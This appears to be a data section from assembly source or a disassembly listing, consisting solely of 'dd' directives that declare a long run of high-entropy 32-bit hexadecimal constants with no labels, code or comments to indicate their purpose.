dd 0DEEE5716h, 0D5A06909h, 7DF4DE01h, 69126AD3h, 0D5BB5C0h
dd 4859F642h, 212303Dh, 94B02079h, 564920B4h, 0EABA800Fh
dd 2181232h, 5AF7BB53h, 27506F6Ch, 4875F613h, 0F146500Ch
dd 48DB5F93h, 0D00D2402h, 2C3E122Ch, 0E4316871h, 0A61B3B6Fh
dd 62C4AB04h, 284C3CACh, 0E34A8856h, 0BB622EFBh, 63436886h
dd 112D5945h, 0BC3D292Ch, 4A494AA7h, 6B7D31E8h, 0E480A702h
dd 5F665F4Bh, 8158D69Fh, 6C3C84BEh, 63903007h, 29145C0Eh
dd 8910D201h, 31580108h, 60F1E9F5h, 0EBEA286Bh, 67ADEB5h
dd 583779E9h, 830C0DA5h, 0A0EA2F80h, 6213686Bh, 363B2145h
dd 0E4014105h, 6C6F370Ah, 2EE7F970h, 1FF1D2Bh, 9E752DF5h
dd 88053F48h, 89FFD9F7h, 5F0B4A59h, 7DE60AE1h, 0D2A0B216h
dd 0C8255A0Fh, 8BCE746Ch, 0E87F8213h, 3E75997Ah, 4A733DB2h
dd 78D0B2ACh, 66E13E5Ah, 0E145E82Eh, 938DED6h, 0C6C2EFC0h
dd 214F6102h, 0A4B4F7ACh, 0FC407014h, 0EF6D5F68h, 5DAC4526h
dd 0E9A0B71Ch, 1DC01AF6h, 4A836DF1h, 9DC2F6CCh, 712DF680h
dd 547AA30Bh, 94952FF6h, 891ACEB8h, 0AF855233h, 0DA6707D7h
dd 7CF827D2h, 7D408907h, 2618DB75h, 0AAAC12C7h, 638F0BE2h
dd 0D2AAE33h, 0CEBB885Eh, 2A2D315Dh, 0CA302F68h, 80C7B548h
dd 0AA462509h, 0E9B7C8D7h, 7FB66068h, 0F83BEFC2h, 6F89762Ch
dd 0F917920Bh, 2B038C49h, 8391BF2Ah, 120BB88Ah, 0C216FEA7h
dd 8AA0F30Ch, 0AC02DD0h, 2A9AFE3Eh, 9DB2C7BAh, 1CB12149h
dd 7832C1EAh, 2F4F5EC4h, 9D983E75h, 7E1F1455h, 7045B78Bh
dd 7000D0A4h, 250B8F38h, 2F663436h, 82908682h, 5CE2892Fh
dd 30A10261h, 0C07F1AD7h, 4F7168CAh, 10C9F80Ch, 0AF4B35BDh
dd 4A2AE038h, 4E00F2F4h, 433094A8h, 96B4C154h, 844B16Ah
dd 6435D6A5h, 0FF2C9513h, 29AE540Fh, 0B0B7876h, 0D82805B3h
dd 0D73512D5h, 680B6C4Fh, 0C287DC9Dh, 4CDDEE65h, 71772D29h
dd 514CF7ECh, 32480BD6h, 0CBB08461h, 75A183FBh, 735AF3B0h
dd 0D989D8F9h, 0ED1DE0B7h, 0E040969h, 0E0A5F7E9h, 8B9BC15Ah
dd 84805449h, 0C905FFCAh, 0E2FB33FAh, 412A10ABh, 0B35EB5Eh
dd 12FFE6BFh, 0CB5638E9h, 805AB509h, 0E5FE3D5Eh, 7268B0CCh
dd 0E9FB0AEFh, 0A6EF10A1h, 5A74392Bh, 15FDC018h, 4A7C2B7Eh
dd 25895F56h, 9FDE4B9h, 59CD87E9h, 1C568057h, 909D6BD4h
dd 37345EFEh, 90E387BBh, 0FA0118F9h, 8826F98h, 5F436377h
dd 0F0AEBCB5h, 967653E9h, 0D8246F82h, 0A12CF8F3h, 1780959Bh
dd 0B2EBEAF1h, 0C87D89B6h, 0D7C1224Ah, 52DC5753h, 4DA2A958h
dd 434E23Fh, 489B73ADh, 7CAC02AFh, 9D7CD51h, 59187CD4h
dd 9AE6967h, 15352E0h, 6D603753h, 39EAA070h, 73AC45EDh
dd 18251093h, 78D1F757h, 5F80CFB3h, 46EB0A2h, 0D7AF5DC1h
dd 8FCBBF02h, 42731222h, 0F39D6010h, 0ADD113DAh, 881EEEEEh
dd 78B0CF41h, 0E7FC0D33h, 42D1686h, 617DE03Ch, 0B353C0A8h
dd 0D750312Fh, 0AF5E120Bh, 8BA8EA44h, 0F085D95Bh, 0DF822AEDh
dd 94A728Ah, 57764CE3h, 0FA07EA4Ah, 7D0B5A2Eh, 9DE32E21h
dd 0FE77EEB2h, 53805ABFh, 17F3D74h, 451022D2h, 0B2D4C08h
dd 0D0D2721Eh, 166303DBh, 0F7292573h, 5E082840h, 0FE65A4Fh
dd 0B8B8E213h, 7BE6C013h, 0BD534DF6h, 5F4ACDB0h, 39AA28D6h
dd 0ADC86086h, 13BCDB41h, 20D01127h, 4943F397h, 0DD1EB106h
dd 6418ED26h, 93A0E417h, 0F4059855h, 7602067Bh, 4E3A41E9h
dd 0D916FF9Dh, 3627FA2Bh, 338C4B69h, 0DF7F42A8h, 85BF3703h
dd 0F94B265Bh, 0D16F8F6Eh, 35D2A5DCh, 999A3059h, 0FF9D8A7Dh
dd 0CD98253Ch, 23A6925Eh, 0A2B50222h, 4101B102h, 0E7C9CC26h
dd 2B9D797Ah, 8B016285h, 0BEE922B2h, 29B30A6Fh, 4B7C117Eh
dd 0FB5E53AEh, 8168D660h, 0EBF19722h, 7A3D82E9h, 0B44AE559h
dd 0E83180CEh, 54E7836h, 0EB7D56C0h, 0ED09950Ch, 16F36580h
dd 0C3B5CC69h, 65FB9ABAh, 0DB02AD42h, 630F748Ch, 0C9C728E4h
dd 8F7E6CB1h, 0D5894A17h, 68E109FBh, 98494C82h, 38A50778h
dd 9DD088B4h, 0FD5E5385h, 0D0032512h, 1CD59D59h, 2E71AE4Fh
dd 0AFE35B80h, 0DD8765F6h, 80298439h, 0DED57F6Ah, 2DEBFE1Bh
dd 0FEE8A4E9h, 431E0568h, 35CB18ADh, 80AB4EF3h, 277755A1h
dd 89FF250Ah, 28200D56h, 0C0DFF27Eh, 1405C801h, 42322C3Bh
dd 0CDF05BB2h, 79136709h, 9807D829h, 7A8090BBh, 1CEB8118h
dd 0DC8D3D37h, 3171D7E9h, 3BC368DBh, 332CA28Dh, 62CEEA4Bh
dd 15A42921h, 7F796442h, 90BF7F67h, 0BE165FB5h, 2177051Fh
dd 231EEF46h, 2DDC3705h, 1BC26C2h, 0F173CFB9h, 208D3A6Ch
dd 49B23040h, 0C616AABh, 1C060B7Bh, 5E18E176h, 709BB78h
dd 0BF5734C0h, 39463263h, 0AFDED477h, 6812C770h, 0BB890B65h
dd 42FBC100h, 0B87E0081h, 0AFE1E471h, 0B560DEE9h, 977CC579h
dd 0A43F6454h, 84DBF2D7h, 31FBF149h, 2AD1967h, 7A83C05Fh
dd 0B6E183B7h, 0B80A8125h, 1F106408h, 9A4DE6FCh, 72411733h
dd 4304BA79h, 0CDC2E7D1h, 1C8BE1DBh, 0F245A46Ah, 0D2CA70Bh
dd 0C084002Eh, 0CE4A533Ch, 260437F0h, 1502F07Ah, 6B56BE0Ch
dd 29E93829h, 25CF4B0Eh, 77A7CD74h, 46C262A3h, 62BB8405h
dd 8DC40EACh, 231B83BBh, 56A4EEC5h, 0BF0EBD4Eh, 0AA7ECB04h
dd 8DF5F681h, 6B4EE72Bh, 50A5100Dh, 33A3B765h, 0EF71EFD4h
dd 47F11C17h, 0CE40ECECh, 0E3D11706h, 4C28B50h, 5F7F2A40h
dd 91015EE8h, 51B9A611h, 0C4343458h, 7EBD6D07h, 0DCB14F2Dh
dd 7DC0D65h, 0E4775E87h, 6E1D373Dh, 11975227h, 1A05BA16h
dd 9BC9B6Ch, 59E4BEF5h, 0DD22F1DAh, 6227DD90h, 0DE56EDABh
dd 551F019Fh, 55D01589h, 888965CEh, 6B0A7596h, 251337F2h
dd 2138AA42h, 0DE680055h, 5D0DB802h, 0ED48D145h, 5BB74DB6h
dd 7B8555ECh, 6E8EBA28h, 0BC493E13h, 588919h, 962D45E4h
dd 0D8092F5Eh, 66B9205Fh, 9F544868h, 0F6818A80h, 0B5987638h
dd 0E2BD70BFh, 0ECF99712h, 9FA8542Ch, 0AB469409h, 0C0324255h
dd 2067E055h, 6890B21Fh, 274C524Eh, 9F659048h, 0F1090A63h
dd 76AE70E9h, 55577010h, 1FC5BD09h, 7A47E9Bh, 21702C8Dh
dd 6D512EE9h, 27711FF2h, 0AEE5BD3h, 508C604h, 347DD3E9h
dd 3EC0C2C5h, 35BA020Bh, 0F8BD01FAh, 2EF16860h, 42A73AC0h
dd 0F17657BAh, 3863F000h, 0E7F2E94Eh, 0F179373Fh, 92E785Bh
dd 0A05B661h, 1790F1A8h, 1D14BF4Bh, 402C3FBBh, 0A1680F5Dh
dd 5B699CAAh, 0A2066CF7h, 7E707DF4h, 8A14E92Ch, 0B0C057A7h
dd 0F63AB4CBh, 0ADC39CDBh, 9F11C924h, 59466802h, 3D4401A2h
dd 388C0325h, 0B3DA28E7h, 0D1300581h, 0C194EA5Ah, 2573ACBEh
dd 14BB85Ch, 9D8873D1h, 54E225D6h, 0F82405Fh, 0EF2BC571h
dd 7AEDB15Dh, 49E9A4CCh, 2927BF3Dh, 981D6CD7h, 0FAED5FE2h
dd 0EFA30737h, 0E2145E6Dh, 31605C3h, 80236B0h, 0E0373EC6h
dd 9D2EF1D5h, 0FCFB8E9Ah, 0C8B70FC0h, 0F6BC4A68h, 9EE91831h
dd 5EF131A5h, 538C45Eh
dd 8827EDDFh, 0A116334Ch, 0CBBFD2EAh, 3CBF4F26h, 6F5F6B6Bh
dd 8E856AA2h, 8DBA5D37h, 430C229Dh, 8AF1EF0Ch, 0D69D7ABDh
dd 357E342Ch, 0AE1D7372h, 13DC501h, 8B684B6Dh, 754FA8E0h
dd 3977948h, 0D1F7B195h, 0E9E40901h, 0C6C6E8ECh, 0E4E1524Eh
dd 0F6AEFD7Eh, 8D681C06h, 0C57D2752h, 2BF52F46h, 6E90FF85h
dd 70CB283Dh, 0AF484B4Ah, 0D50C3FB2h, 82F1DDA7h, 0ABCA84B1h
dd 86400D4h, 0A90775A4h, 0C52E5F96h, 55E6BEh, 13CA0517h
dd 0F86DE681h, 46201DC7h, 3512F0D1h, 4B599836h, 0ACF10071h
dd 86E9E52Bh, 0C474BDFDh, 21D51ABCh, 0FAD97710h, 3FF17DC9h
dd 0FE61A549h, 0A38419BDh, 7E01A41Ch, 0CCD7812h, 956144AAh
dd 0EDC00161h, 4ACD8004h, 28FAC16Fh, 0ECB27AE8h, 8E38B319h
dd 4B653F21h, 90314BF0h, 0B37C5A69h, 0E99B63F1h, 964FC5BEh
dd 3970B35Dh, 273BCB81h, 0EC789B47h, 1161A70Ch, 2A2E86Ah
dd 0E9492065h, 0BF647530h, 0F743C916h, 74367E05h, 5A5231AEh
dd 72D97E0Ah, 9793F3E8h, 96DFA35Dh, 49919146h, 1164E0CAh
dd 3C5A0953h, 0ADE181E9h, 0E3472135h, 9813BBFCh, 7E188A04h
dd 21A137FBh, 240E751Bh, 542B52B6h, 482DCC5Ah, 8143418Ch
dd 0A1006F89h, 0CA6F70F3h, 4E38FC1Eh, 8711AC55h, 658520B1h
dd 0D7A4BAC0h, 0D14F4F75h, 9DBC7BC7h, 0D9D3C3C3h, 8BEFF2ABh
dd 9D54F039h, 0E6654C90h, 0AE47A79Fh, 0F73B1970h, 22A083DBh
dd 509D4A8Fh, 829D4AD0h, 0E1554DB9h, 77605715h, 0C544824Fh
dd 53426812h, 0F1F1C6CDh, 466FCFF9h, 0FD200953h, 0DC2DD82Fh
dd 685B85D1h, 698EFABh, 2937400Bh, 90FFC24Eh, 156E213Ah
dd 4B01E9B2h, 0E90BFA16h, 0A866BE75h, 0D7373D1Bh, 732C1004h
dd 47992827h, 0C57F5F5h, 0B84D4588h, 0E9E56192h, 5C64DAD6h
dd 0A3265460h, 950BD67Bh, 0E1C2AA42h, 803F82A9h, 5E35664Eh
dd 2AA3E153h, 58091A5Eh, 6870185Bh, 0E9A3A909h, 5E6FAEFBh
dd 81FBFD85h, 0C40E0A21h, 6FC4C16Fh, 7C1EAF13h, 6BE3CAFh
dd 0B04E2149h, 0AB4CC7FAh, 67F0A4C9h, 68561753h, 48F6ACF4h
dd 7FFE2FACh, 8FDA65BBh, 0DF258556h, 0DC96D647h, 0BDED49E4h
dd 1441C86Ah, 0F9166B8Dh, 0A44038EBh, 0E5DD3D41h, 0BF2061FEh
dd 0B5032930h, 0D49F97D8h, 0BECB172Ah, 2E182112h, 95621556h
dd 752B9C75h, 0F0D54ABFh, 32BFEF16h, 0C8567D7Eh, 0AA54C545h
dd 34CE04A5h, 0ECAE3B7Ch, 5F08402Ch, 9102EBFh, 38ABE8B2h
dd 2A5A8133h, 53E823AEh, 0EA0551BEh, 6E6475D6h, 1A82B900h
dd 0B0953E42h, 543340F9h, 1E685E09h, 6913DE4Ch, 0BB7CA50Bh
dd 474A006Bh, 60AEE90Ch, 4FEDF12Ch, 75557F4Ch, 0ECA07AE1h
dd 60E91651h, 0E6CA2130h, 33900448h, 83502268h, 0F66004E9h
dd 52CE545Fh, 2DA5CCFDh, 0E47E300Fh, 0DF6ADFE9h, 4959D9D7h
dd 6BC359D5h, 80699951h, 6F163B28h, 0EF4B04Ch, 618109DFh
dd 80EE1776h, 80720C1Dh, 58F62149h, 92A412D6h, 0C57D37BFh
dd 8AF4FE95h, 833012B7h, 0BDAE017Eh, 34164634h, 7E9A5255h
dd 158F7F95h, 30B55102h, 2FE8F655h, 5CE5E1FBh, 525F41EFh
dd 572CFDE9h, 74CFA0F3h, 894F5592h, 46071291h, 0BF6D060h
dd 21EA75E0h, 9BBBE075h, 2702301Eh, 0BD69DE1Fh, 0E6B5765Eh
dd 2DFB86E4h, 0D7E39C75h, 0C231069Ch, 0B5775F72h, 3F90DDF9h
dd 6FE8C3B5h, 29752798h, 2C28402h, 0C681B5F1h, 793A61A3h
dd 12205A60h, 0BF829E5Ch, 0D076C382h, 0EE801C00h, 0FAC6D786h
dd 0C4445817h, 0D610FA3Ch, 0B40C8504h, 3A64F1A4h, 6AAA24C2h
dd 0CDF0C8h, 9C2C76B9h, 0E1D1495Dh, 165C51BDh, 316B4B29h
dd 3873A0ABh, 5FA1BD22h, 0F80D3B70h, 2B85CA40h, 98224C68h
dd 50B2AF03h, 0E09C1BA0h, 819B3C24h, 79DA17BFh, 80041853h
dd 59091D52h, 62D7F1DDh, 89DF2D68h, 0A47FFFDh, 9E402D01h
dd 2292067h, 0AE641617h, 1AF88839h, 900A9AF0h, 1C2F2F50h
dd 569D19EEh, 0E269EE44h, 0F650B509h, 4FFB2D05h, 22D46D73h
dd 0A5CBADBEh, 0EC4F8EB8h, 0BF6DB64Eh, 0E909A365h, 5902A7D4h
dd 7F07A04Ah, 4E34153Fh, 64E95280h, 37DBBD4Bh, 0E8B35380h
dd 3797CB80h, 7004C3FEh, 0CE6848F3h, 7E955470h, 994172ECh
dd 3F00058Eh, 1BD21543h, 0EAD29531h, 124D9400h, 3B212D38h
dd 29350A56h, 180705E8h, 1888385Dh, 274B943Fh, 969E5DF8h
dd 0E19836B2h, 0A5207BC4h, 0B0967BB8h, 9C92B8E1h, 5CC9800Fh
dd 0C733FC0h, 3DA0F1C1h, 0BC431C96h, 0FDC65A31h, 240B9007h
dd 45F78FCh, 89417CE9h, 0F6A52F40h, 3F87F12Fh, 50CD6E0Bh
dd 0EA4648E1h, 2EFEB52Fh, 0C1B08917h, 935F4CFAh, 2D2CD704h
dd 4FFA643h, 0EBD53F2h, 0E9BA24D4h, 2A144C6Dh, 25FA7532h
dd 0BD5C1540h, 0BAA8086Dh, 7A5143CEh, 0D894C326h, 76971A4Dh
dd 39C10748h, 0C052B907h, 4E31FBE1h, 13E9530Bh, 88F17906h
dd 552519B9h, 514F8180h, 0EBFABE9Ch, 2D00BE9Ch, 0A774DFE2h
dd 58C62531h, 5503D68h, 0B7F58880h, 257C584h, 0F7421668h
dd 2C287F18h, 4838EA2Eh, 9340D800h, 6259E97Dh, 0F921603Fh
dd 5C422A82h, 0E253407Ch, 0F98B55ADh, 35ED4DFDh, 0F4ADF90Ch
dd 1F33382h, 3B3468ADh, 3CAF2312h, 9C0968A9h, 220FA1Ah
dd 0F45ADEFCh, 0B3B9623Dh, 0CAA5E0F3h, 5B405D33h, 89164EACh
dd 2F055760h, 6CDAF774h, 0FE27EF5Ah, 82285EE6h, 7CF975C9h
dd 5219CA41h, 67D39B60h, 72F81B15h, 9CDF48A7h, 995F9DDAh
dd 25D35225h, 53F9F566h, 8797C2A7h, 2A622E7Eh, 0F5734073h
dd 49E52E33h, 6750276h, 9BD64B5Bh, 3145C25h, 4E74736Dh
dd 978D406h, 1E2C0B64h, 0E25B7931h, 2BA8D391h, 0C768BA88h
dd 46FC7D13h, 89EE6600h, 9F310F4Ah, 7CC042D0h, 7FDACAC9h
dd 1B4659E9h, 1DDBEC7Bh, 81108373h, 747837C9h, 5F1F01Bh
dd 86F7E413h, 0D11855E8h, 0ECD44EEh, 5E410327h, 501808B7h
dd 277FF0Bh, 41A2E46h, 0C2AAD45Eh, 860D53C1h, 0BC55013Ah
dd 0F9163D52h, 124C2888h, 2CAB5457h, 199D9B7Bh, 0F06009C8h
dd 0FEE65E26h, 7599DD32h, 7772B5FEh, 0FB82CA7Ch, 0C3FE737Ch
dd 2DB34897h, 11755100h, 7696254Bh, 56A0601h, 0B5FF8BF4h
dd 16C4DD20h, 0AF749C7Ch, 7508CA50h, 0CEB95CFCh, 0E1233003h
dd 3D220540h, 0BE11C37Ch, 0BAF13543h, 6445EA13h, 0D8730207h
dd 0CB3175AFh, 578F8B7Dh, 924C432Ch, 1A275212h, 0C280BFEh
dd 347DE355h, 1608444Ch, 6D2DAB11h, 0C692C8F6h, 5B10C32Dh
dd 939FD901h, 12050304h, 8E3C05Ah, 0A3111CB9h, 94ED5B0Ch
dd 0D630D809h, 1B3C1182h, 400C5406h, 0F5398063h, 0F2CD93DFh
dd 0EA0E42A8h, 0D588C2FEh, 0C5472725h, 80FFB6E4h, 0F528B2C5h
dd 0B98DE912h, 1056F2BBh, 5F30FE51h, 352DEBC6h, 5AB723F6h
dd 0D108836Ah, 0ED2F1ECFh, 9CFF4E59h, 0D937E9D1h, 0D00722D4h
dd 0D5EF0372h, 627ABEA0h, 89582EFEh, 0D75D1039h, 970BD24h
dd 3F701218h, 92AFDC97h, 3413EE29h, 8282C5EAh, 6E5F9956h
dd 75681799h, 9EB66145h, 1D1B921Fh, 0B38B0FF9h, 0F975CBA9h
dd 33666943h, 66EF1B5h, 779FCAE9h, 5D9EF302h, 572126AEh
dd 0AC256372h, 6B477D5Fh, 0E1240C90h, 6C4A0073h, 0F52552E8h
dd 9C64B1Dh, 38616B40h, 12C02D1Dh, 0BA152A3Fh, 0CEC8302h
dd 0D76BC3E8h, 69B3FE99h, 0CC56DC48h, 0F46A25B6h, 0EA560244h
dd 4120A190h, 0C700BDA4h, 3623773Ch, 5FFE3112h, 0C8B1A2F8h
dd 6B684F22h, 0FBEF75F4h
dd 0E904B624h, 0E2F8C01Ah, 79F4C7C0h, 0F7EC2D31h, 67C9FC09h
dd 1DB5F60Fh, 602EC4BAh, 3F84FA7Eh, 4765C601h, 7E6071A9h
dd 1A1613C7h, 4A67EC3Bh, 7F64B501h, 0D16E20F2h, 0C89DEA39h
dd 0DD9D592Dh, 10D4AB0h, 7B550A00h, 15511835h, 797EB736h
dd 0E961FC0Eh, 3615860h, 1862CB81h, 90B77083h, 4FEE51D0h
dd 0D60C8390h, 18494347h, 60DEEA89h, 0F52E0C40h, 0BF195Ch
dd 5DC935B0h, 0AF984B45h, 9AED2D07h, 0D0AEC402h, 30564C95h
dd 76406C0Eh, 0A2C56867h, 0C6E278E5h, 8D5D909h, 3A0281DAh
dd 0E270D76Eh, 3AD4A40h, 743BBFF0h, 0AC44BF0Ch, 0DBC4905Fh
dd 2F698BEAh, 0B26C80AEh, 4CE2808Ah, 632E0166h, 85686495h
dd 0C499BC9Ah, 0A2910D97h, 627A7484h, 0E2C807D1h, 500439B9h
dd 0CA31784Ah, 93659AF1h, 5A3CB931h, 4418AE4Bh, 4ABEE969h
dd 0E98BAFC8h, 0A92CAD12h, 64EF132Dh, 0FEC37240h, 0ECBEB450h
dd 5E377EE4h, 0BDEE806Dh, 0A3013C99h, 6E58139h, 0E3418835h
dd 0D07F05EDh, 8B4A2BEFh, 30225960h, 0C07BB707h, 19500918h
dd 0EA5F21C8h, 0C3DE33A2h, 627C58FDh, 0E7080C01h, 0D789BE23h
dd 0F809DF68h, 56843767h, 27F7F851h, 80E4575Ch, 0B236815h
dd 2EB985A8h, 0C684A374h, 1A83B144h, 5BCB31BAh, 0D9202A4Ch
dd 950E6668h, 0E91263CCh, 37A775DDh, 0A9676813h, 0FF1271Bh
dd 44924793h, 0BDD95509h, 5C0D2D7Bh, 81FA1CDFh, 0CC6B84C1h
dd 0D94AE5D3h, 52B662AAh, 0B62D0BE6h, 798C444Bh, 92162F9Ch
dd 0EC2F7872h, 3D5A73B6h, 0DD76282Fh, 1305D880h, 0EA207B6Bh
dd 5E645C89h, 9A01DC51h, 6AEC2C56h, 29ED2517h, 0F331CEF0h
dd 5BDA3D10h, 72E166Fh, 0A5D17EFDh, 46648302h, 0F9E1B107h
dd 0C0BEA849h, 907FA2F1h, 0CD290510h, 0EAF8C5E9h, 0D2521E33h
dd 5893509Ch, 9343805Bh, 4EB0BD78h, 9197C8D3h, 0E82B505Ah
dd 1482E30h, 0F6352609h, 0CFF6E715h, 0EE0971A4h, 2B68E98Ch
dd 0A4DF4B93h, 144C1C0Ch, 0AD1C9FC5h, 9E5D2768h, 827775E5h
dd 8E179C56h, 0D5E5ACECh, 0AF3B8194h, 0A1317B2Ah, 28C507BDh
dd 0FCD76338h, 5066592h, 26905181h, 0B5A6BA68h, 40E9570Bh
dd 97F1488Dh, 0C8C49753h, 8B9711FCh, 0FDB25FE8h, 7C2FD2FDh
dd 0C17582CAh, 0EC365386h, 0A081805Eh, 9398A62Ch, 7797227Dh
dd 459D8194h, 7FF80294h, 605D7152h, 7D6D2D97h, 62384832h
dd 6EB7FD4Fh, 0AF71E50Ch, 0EEABC7BBh, 0E90B0854h, 4EC8A230h
dd 0C6251B90h, 149F263h, 33C02527h, 2C9562E9h, 2D2B9445h
dd 78666811h, 1BDF3D6Bh, 0C9068093h, 30A27B61h, 0F729BB97h
dd 41C19F08h, 0EC58CBE5h, 8C0B78DFh, 80293D42h, 0F7C51439h
dd 99709h, 9785DE0Bh, 7275B559h, 275294D6h, 0BFDED677h
dd 0E085FCCAh, 5ED56853h, 1BEC980Eh, 0FE209627h, 796B02ECh
dd 918E4350h, 80280684h, 1958CDB4h, 1FAA9258h, 1C1696EDh
dd 0ABC51700h, 0C113B92Ch, 0AA3508C4h, 7248666h, 0BFA0205h
dd 0B0A4E9EAh, 934B45D5h, 0BE8BEF52h, 0A295AC4Eh, 9410F75Ch
dd 46991403h, 0D7EF2909h, 0D6AF9A65h, 5F68054Bh, 9371AE07h
dd 14BB1267h, 0BE916816h, 41DDF6CCh, 0F604605Dh, 880A620Bh
dd 2D977A7Dh, 545634h, 40BC6850h, 37B0E919h, 765F40C9h
dd 44660E7Fh, 0C6502CBh, 376B118Ch, 773163FAh, 59E9FB01h
dd 5A4B4836h, 1EA2D15Fh, 0BC0AA748h, 0EBE937Eh, 56DDF9EBh
dd 3F61E155h, 0C31635BCh, 0FF39AFACh, 472A76Eh, 6B99603Eh
dd 8E9141Eh, 3D54A75h, 88C18065h, 4577C78Dh, 0C4D9FEF4h
dd 0E01BEAFCh, 0EBC2EAE2h, 0C1267E93h, 393C33C8h, 0CBF8D3FDh
dd 114BA880h, 882F683Fh, 3649986Eh, 0E2D44C6Ch, 0ABC05F2Dh
dd 44036FB8h, 0C1217D20h, 0F5BA0158h, 2917F2DDh, 674470CFh
dd 0C07AFD41h, 0EF055FACh, 2325121Ah, 0AA6B752Eh, 5934E40Eh
dd 0A07FFD71h, 55D097B0h, 0CA09C24Bh, 5C7D89D0h, 0DFE62D73h
dd 0A464CDF6h, 5E84CA65h, 0A728A1FAh, 340BD50Ch, 0FC310F4h
dd 0CF490071h, 2ED7E6Ch, 0B0DFF7h, 0E82516F8h, 52A0DF78h
dd 1F9F12Ch, 84C5E97h, 122DDFE1h, 201440E5h, 0E8884A7Eh
dd 46152F1Bh, 77FABDCDh, 7C845F5Bh, 0C5E625C1h, 7DC18381h
dd 2A06F630h, 86810EBh, 380D572Ch, 2ABB0360h, 54017844h
dd 4537F381h, 246D4C2Ch, 82038080h, 0E25E975h, 0BFF9516Eh
dd 204FC4C0h, 36267691h, 0C001B101h, 590266C8h, 282A2C5Ah
dd 6CF482E8h, 5D7DC43Bh, 0F25F5156h, 0F068B1A5h, 2DE9F364h
dd 0DA765D63h, 5C996850h, 52C0EF3Fh, 51538DB6h, 50F1881Ch
dd 59F7C8D4h, 5A662FF0h, 6946F4EFh, 0FA01893Eh, 2B182F6Ch
dd 36F926BFh, 0D4415C5Bh, 46BD4CDCh, 0C9D1FBECh, 0E955EB39h
dd 0A5F403C3h, 53F1B519h, 2711338Bh, 56FFD597h, 0D0F72C44h
dd 6DD4C3C1h, 0EC3E77F5h, 620B2FA7h, 67515570h, 58E805E0h
dd 2D170243h, 1BAE3E1Ch, 4E442543h, 2C90E808h, 4BBC085Dh
dd 0D8C62C01h, 0DF20AB16h, 9D617015h, 5DE288D6h, 6D9957CCh
dd 0E8A23E59h, 0B07D079Ah, 9AEBF1F9h, 5F81778Bh, 0E4FDD902h
dd 33964BF6h, 5FDA7FC9h, 44188BB7h, 671202B8h, 2D587446h
dd 72160689h, 17FE8FDh, 0E4BC054Fh, 0C4DAEB93h, 3C27CD4Ch
dd 0C9544A46h, 0EE5129B6h, 0D3903B8Fh, 17F7095Dh, 955A1DE9h
dd 58FE319h, 60FA685Fh, 0F554CACCh, 39307730h, 28CC125Dh
dd 45076306h, 0C9130C4Ch, 9AB8CD55h, 4EF4E95Eh, 0FCE914C1h
dd 0B9530B3Eh, 315CE17Dh, 47E9BE54h, 0EE2DBA64h, 4EDD4ED8h
dd 0A07EE929h, 2CB1BF57h, 0EA1043h, 722C17EFh, 0D74AF718h
dd 1FFB151Eh, 190B3D08h, 0B9E6DF29h, 4AB2B84Dh, 2602DD13h
dd 575A2963h, 19467860h, 0E3EC1DF2h, 0A9446A16h, 5691EE8h
dd 2424F070h, 11242148h, 58CDC115h, 9F841362h, 59837DF3h
dd 408D5B68h, 0E9D9886Ah, 0FF95C0C2h, 723EBE39h, 4CE101DAh
dd 4966CF3Fh, 6C01EFDFh, 0C824D30h, 741C6EEEh, 0B3E48D80h
dd 1CB03B72h, 8D4F9AFAh, 307B41A7h, 0EB5720B2h, 44271ECDh
dd 0C2428828h, 5A89F810h, 0A4513087h, 80619076h, 60E1D2EBh
dd 287459CFh, 0C29F9BFCh, 0C2B6D5C9h, 1D2F08A0h, 261A23Eh
dd 452801F5h, 0D6BEE039h, 0A71830CAh, 14470CCAh, 4001412Eh
dd 7C286083h, 8F40074Eh, 0D76D0B3Eh, 0F6FAA999h, 0BD80FA20h
dd 8809CD7Ch, 0D306A433h, 4A7CE7EBh, 0AF9246A2h, 50BD4C61h
dd 2CA74EA4h, 0C5FC16B0h, 0EAE879h, 2A050BE5h, 9F99ED81h
dd 0E91B44F8h, 8224B493h, 4106C2CBh, 437FD52Fh, 6589CDEAh
dd 76C016EAh, 3C4841DCh, 5162143Eh, 2F0CDEF8h, 9E7332Bh
dd 273D6A40h, 449C6901h, 3197C16Ch, 143DCFA5h, 0DA50029Bh
dd 5A3C51E9h, 1EC4596Fh, 0C14D814Ah, 0A663BBh, 216E5F68h
dd 94565E20h, 0DDA8392Fh, 402D5EDFh, 1A2B7285h, 76693516h
dd 2E09570Bh, 4ECA1EF6h, 0D699AD42h, 0C0F173B2h, 0F78C3AD3h
dd 65A2415Ah, 71A66BE9h, 900FB4Fh, 0BE27E22Dh, 20E92D14h
dd 6866A080h, 0D0F24E43h, 0C13E9B9Fh, 400149E8h, 197BFC92h
dd 75C261D6h, 0B9A7EBDh, 0B0FF8F5Eh, 0A4723548h, 0C5563424h
dd 7DB2EA3Bh, 0C42110CBh, 3F5C4BE9h, 551006B3h, 0C6B05B58h
dd 0CC7D1FBEh, 88540A23h, 0D6F59DBDh, 310BE0F9h, 0F22E55B0h
dd 8089D170h, 1FDE80C2h, 0E92CD028h, 0EB39D732h, 0B30B45CBh
dd 48B2233Dh, 7BDA9FE9h, 61F815B1h, 44F99F16h, 126A2DC0h
dd 0CA144CB0h, 4679EB05h
dd 0EDB58076h, 2703A326h, 29076850h, 0B5C4943Fh, 0C58AF2FFh
dd 0DEFDF896h, 507B2284h, 3A7478F4h, 5D79C5B6h, 51C6F66Eh
dd 93283AA2h, 163561F8h, 2591168h, 41119951h, 805F2A79h
dd 7D5FEDC5h, 0DA143C3Ch, 6908B610h, 0B1E2D71Ch, 57451F79h
dd 0D89E2C31h, 5FFDCD54h, 9D95E2Eh, 537D132Eh, 3257AFC5h
dd 5716ABF4h, 84E9FCC5h, 0BC16A3FEh, 72D04B87h, 5BDB512Fh
dd 527AB78Eh, 0A7F41707h, 30F839EAh, 0B50BC779h, 66184Dh
dd 0AE5E274h, 0AAE9158Fh, 680BC225h, 98FC6E9Ah, 7CCC3A62h
dd 0B84567F5h, 6F566805h, 0C1DD155Ah, 0E045F69h, 3A2425AFh
dd 0F489FACDh, 2E3D5341h, 0AC80BA00h, 1C5AB2Fh, 5AD12124h
dd 9501FB2Fh, 49CF159Ah, 958E74DCh, 168F90D7h, 62F5820Ch
dd 405A5D05h, 0A768C880h, 0A1321D49h, 197513E9h, 6A41979h
dd 2B1D9E64h, 0DE2195B4h, 7715E962h, 0D14B395Ch, 0ADE40974h
dd 629168B0h, 0F7098AA4h, 0F065FE7Bh, 0A4902Eh, 37D06AD4h
dd 97174735h, 2D405704h, 0A68478A1h, 0ACE9E480h, 77399D31h
dd 29903B05h, 96D8CBE9h, 7FBA4096h, 394B3C5Ah, 41F459B4h
